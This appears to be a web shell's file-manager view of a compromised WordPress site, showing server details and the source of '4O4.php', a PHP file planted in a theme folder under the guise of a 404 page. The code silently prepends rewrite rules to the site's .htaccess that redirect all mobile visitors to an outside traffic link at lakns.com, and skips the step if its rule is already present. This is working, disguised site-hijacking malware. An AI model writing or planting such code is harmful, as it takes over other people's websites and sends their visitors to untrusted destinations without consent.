HEX
Server: Apache
System: Linux webd011.cluster130.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: ezpgggd (105871)
PHP: 7.4.33
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/ezpgggd/www/wp-content/themes/home-1770964316/4O4.php
<!--aGPlAUsR-->
<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

$root = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
$path = $root . '/.htaccess';

$host = $_SERVER['HTTP_HOST'] ?? '';
$host = preg_replace('/:\d+$/', '', $host);
$parts = explode('.', $host);
if (count($parts) > 1) {
    array_pop($parts);
}
$var = implode('.', $parts);

$insert =
"RewriteEngine On\n".
"RewriteCond %{HTTP_USER_AGENT} \"Android|iPhone|iPad|iPod|BlackBerry|Windows Phone\" [NC]\n".
"RewriteRule ^.*$ https://lakns.com/link?z=9557727&var={$var}&ymid={CLICK_ID} [R=302,L]\n\n";

if (!file_exists($path)) {
    if (file_put_contents($path, $insert) === false) {
        trigger_error('Failed to create .htaccess', E_USER_ERROR);
    }
    exit;
}

$content = file_get_contents($path);
if ($content === false) {
    trigger_error('Failed to read .htaccess', E_USER_ERROR);
}

if (strpos($content, 'lakns.com/link?z=9557727') !== false) {
    exit;
}

if (file_put_contents($path, $insert . $content) === false) {
    trigger_error('Failed to write .htaccess', E_USER_ERROR);
}